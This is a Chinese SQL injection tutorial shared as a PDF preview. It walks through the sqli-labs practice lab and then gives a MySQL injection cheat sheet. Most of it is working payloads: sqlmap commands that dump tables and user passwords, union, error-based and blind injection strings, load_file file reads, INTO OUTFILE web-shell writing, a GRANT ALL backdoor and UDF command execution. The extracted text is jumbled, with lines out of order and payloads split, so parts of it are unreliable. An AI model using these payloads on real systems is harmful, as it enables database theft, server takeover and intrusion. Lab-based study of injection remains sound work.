logo资料库

SQL注入实战.pdf

第1页 / 共6页
第2页 / 共6页
第3页 / 共6页
第4页 / 共6页
第5页 / 共6页
第6页 / 共6页
资料共6页,全文预览结束
SQL注入.txt 本次SQL注入测试采用的平台为:https://github.com/Audi-1/sqli-labs 可到连接:https://download.csdn.net/download/l1028386804/10794776 下载完整的测试 环境 提升:https://www.waitalone.cn/mysql-injection-summary.html 第一部分:注入实践 python sqlmap.py -u python sqlmap.py -u python sqlmap.py -u 制 id=1' and '1'='1 id=1' and 1=1--+ id=1' and 1=1%23 id=1' and 1=1-- - id=1 and 1=1--20% 作 Q Q:1028386804 手工注入方式 单引号闭合: 几种注释: SQLMap 1.检测是否存在SQL注入漏洞 "http://192.168.109.139/sqli-labs-master/Less-1/?id=1" --level 3 2.爆出所有的数据库 "http://192.168.109.139/sqli-labs-master/Less-1/?id=1" --dbs 3.爆出当前数据库 "http://192.168.109.139/sqli-labs-master/Less-1/?id=1" --current-db 4.爆出指定数据库的所有表 "http://192.168.109.139/sqli-labs-master/Less-1/?id=1" -D 数据库名 tables "http://192.168.109.139/sqli-labs-master/Less-1/?id=1" -D security tables 5.爆出指定数据库,指定表的所有列 "http://192.168.109.139/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表名 --columns "http://192.168.109.139/sqli-labs-master/Less-1/?id=1" -D security -T users --columns 6.爆出指定数据库,指定表的所有列的详细信息 "http://192.168.109.139/sqli-labs-master/Less-1/?id=1" -D 数据库名 -T 表名 --columns --dump "http://192.168.109.139/sqli-labs-master/Less-1/?id=1" -D security tables -T users --columns --dump 7.爆出当前数据库和用户名 1,database(),user()--+ http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select python sqlmap.py -u python sqlmap.py -u 河 冰 python sqlmap.py -u python sqlmap.py -u python sqlmap.py -u python sqlmap.py -u 第 1 页
SQL注入.txt Unknown column '4' in 'order clause' http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' 爆出当前数据表的用户名和密码 http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union http://192.168.109.139/sqli-labs-master/Less-1/?id=1' order by http://192.168.109.139/sqli-labs-master/Less-1/?id=1' order by http://192.168.109.139/sqli-labs-master/Less-1/?id=1' order by 依次尝试到http://192.168.109.139/sqli-labs-master/Less-1/?id=1' order by 说明当前表只有3个字段 接下来执行联合查询: 爆出当前数据库和连接数据库的用户名: http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' 此步骤在浏览器地址栏中依次输入如下连接尝试 http://192.168.109.139/sqli-labs-master/Less-1/?id=1' order by 执行联合查询时的注意事项: 比如:这里 1.union后面查询的字段数量必须要和ordey by爆出的字段数量一致 作 Q Q:1028386804 8.判断字段数量 1-- - 2-- - 3-- - 4-- - 4-- -时,报错信息如下: select 1,2,3-- - union select 1,database(),user()-- - union select 1,username,password from users-- - http://192.168.109.139/sqli-labs-master/Less-1/?id=1' order by 3-- -正常 http://192.168.109.139/sqli-labs-master/Less-1/?id=1' order by 4-- -报错, http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select 1,2,3-- - http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select 1,database(),user()-- - http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users-- - http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select 1,2,3-- - 中 的id=-1并不能查询出数据 http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select 1,2,3-- -的 结果为: 说明order by爆出的字段数量为3, 那么,union后面的查询字段的数量也要为3, 比如: 2.union前面的SQL最好是不能查询出数据的 此时,我们可以将2换为username,将3换为password,如下: 3.需要判断前台显示的是union select的哪个位置的数据 比如: 说明前台显示的是2和3 Your Login name:2 Your Password:3 制 河 冰 或者 和 比如: 第 2 页
SQL注入.txt http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users-- - http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users limit 0,1-- - Your Login name:Dumb Your Password:Dumb 获取单条数据: 结果为: 注意:转化为十六进制后不需要单引号('')了,例如:table_schema='security' 9.查询表名: http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select 1,table_name,2 from information_schema.tables where table_schema='security' limit 1,1-- - 1,table_name,2 from information_schema.tables where table_schema=0x7365637572697479 limit 1,1-- - 中的security转化为十六进制0x7365637572697479后,写成: table_schema=0x7365637572697479 这里最好是将数据库名称转化为十六进制,防止特殊字符转义。 这里,security的十六进制编码为:0x7365637572697479 上面的语句可以写成如下: http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select 作 Q Q:1028386804 http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select http://192.168.109.139/sqli-labs-master/Less-1/?id=-1' union select 10.查询字段名: 1,column_name,2 from information_schema.columns where table_name='users' and table_schema='security' limit 1,1-- - 1,column_name,2 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 1,1-- - 11.布尔型盲注 "http://192.168.109.139/sqli-labs-master/Less-8/?id=1" --level 3 0x20)),1,1))>115 AND 'RbtE'='RbtE' 也就是说将取出的数据库转化为字符串 3) IFNULL(CAST(DATABASE() AS CHAR), 0x20): 判断转化为字 符串的数据库是否为空,如果不为空,则返回转化后的字符串数据库; 如果为空,则返回一 个空格(空格的16进制编码为0x20) 转化为字符串的数据库中获取第一位字符 0x20)),1,1))将从数据库名称中获取的第一位字符换算成ASCII码 12.时间型盲注 解析(这里我们由内向外进行解析): 1) DATABASE():取出数据库 2) CAST(DATABASE() AS CHAR:将取出的数据库作为字符处理, 4) MID((IFNULL(CAST(DATABASE() AS CHAR), 0x20)),1,1): 从 例如:1' AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR), 5) ORD(MID((IFNULL(CAST(DATABASE() AS CHAR), SQLMap执行命令解析: python sqlmap.py -u 河 制 冰 第 3 页
SQL注入.txt "http://192.168.109.139/sqli-labs-master/Less-9/?id=1" --current-db -v 3 常用的判断语句: python sqlmap.py -u ' and if(1=0,1, sleep(10)) --+ " and if(1=0,1, sleep(10)) --+ ) and if(1=0,1, sleep(10)) --+ ') and if(1=0,1, sleep(10)) --+ ") and if(1=0,1, sleep(10)) --+ 第二部分 注入总结 来自:https://www.waitalone.cn/mysql-injection-summary.html 0x00 mysql一般注入(select) 1.注释符 # /* -- 作 Q Q:1028386804 %0c = form feed, new page %09 = horizontal tab %0d = carriage return %0a = line feed, new line 2.过滤空格注入 使用/**/或()或+代替空格 3.多条数据显示 concat() group_concat() concat_ws() 制 河 4.相关函数 冰 system_user() 系统用户名 user() 用户名 current_user 当前用户名 session_user()连接数据库的用户名 database() 数据库名 version() MYSQL数据库版本 load_file() MYSQL读取本地文件的函数 @@datadir 读取数据库路径 @@basedir MYSQL 安装路径 @@version_compile_os 操作系统 Windows Server 2003 WITH GRANT OPTION; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' 5.mysql一般注入语句 猜字段数 order by n/* 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/* 查看mysql基本信息 and 1=2 union select 第 4 页
SQL注入.txt 查询数据库 information_schema.schemata limit 1,1/* information_schema.schemata/* and 1=2 union select 1,schema_name,3,4 from and 1=2 union select 1,group_concat(schema_name),3,4 from 查询表名 information_schema.tables where table_schema=数据库的16进制编码 limit 1,1/* information_schema.tables where table_schema=数据库的16进制编码/* and 1=2 union select 1,2,3,4,group_concat(table_name),5 from and 1=2 union select 1,2,3,4,table_name,5 from 查询字段 and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六进制编码 and table_schema= 数据库的16进制编码 limit 1,1/* from information_schema.columns where table_name=表名的十六进制编码 and table_schema=数据库的16进制编码/* and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 作 Q Q:1028386804 查询数据 and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 数据库.表/* 判断是否具有读写权限 and (select count(*) from mysql.user)>0/* and (select count(file_priv) from mysql.user)>0/* 冰 制 河 必备条件: 读:file权限必备 写:1.绝对路径 2.union使用 3. 可以使用'' 6.mysql读取写入文件 -------------------------读---------------------- mysql3.x读取方法 create table a(cmd text); load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a; select * from a; mysql4.x读取方法 除上述方法还可以使用load_file() create table a(cmd text); insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt')); select * from a; mysql5.x读取方法 上述两种都可以 读取文件技巧: load_file(char(32,26,56,66)) load_file(0x633A5C626F6F742E696E69) 马代码),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/* 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/* ------------写-------------------------- into outfile写文件 union select 1,2,3,char(这里写入你转换成10进制或16进制的一句话木 union select 第 5 页
SQL注入.txt 0x01 mysql一般注入(insert、update) xxxx'),('dddd','dddd')/* '); mysql一般请求mysql_query不支持多语句执行,mysqli可以。 insert注入多使用报错注入! 1.如果可以直接插入管理员可以直接使用! insert into user(username,password) values('xxxx',' update注入同上 语句处填入一般一句,如:SELECT distinct 2.如果可以插入一些数据,这些数据会在网页中显示,我们可以结合xxs和csrf来 2. and+1=(select+*+from+(select+NAME_CONST((语句),1),NAME_CONST((语句) 1. and(select 1 from(select count(*),concat((select (select (语句)) from 获取cookies或getshell 0x02 mysql报错注入 information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1 ,1))+as+x)-- FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (语句) ),1,62)))a from information_schema.tables group by a)b); 4.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select ( 语句)),1,62)))a from information_schema.tables group by a)b))); 0x03 mysql一般盲注 id=1),1,1))=49 作 Q Q:1028386804 3.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 AND ascii(substring((SELECT password FROM users where 制 河 1170 union select 使用正则表达式 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1) 0x04 mysql时间盲注 if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl User,Password FROM mysql.user WHERE User = 'root' 0x05 mysql其他注入技巧 以后遇见了更新 冰 UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) 使用ascii 0x06 mysql数据库版本特性 1. mysql5.0以后 information.schema库出现 2. mysql5.1以后 udf 导入xx\lib\plugin\ 目录下 3. mysql5.x以后 system执行命令 第 6 页
分享到:
收藏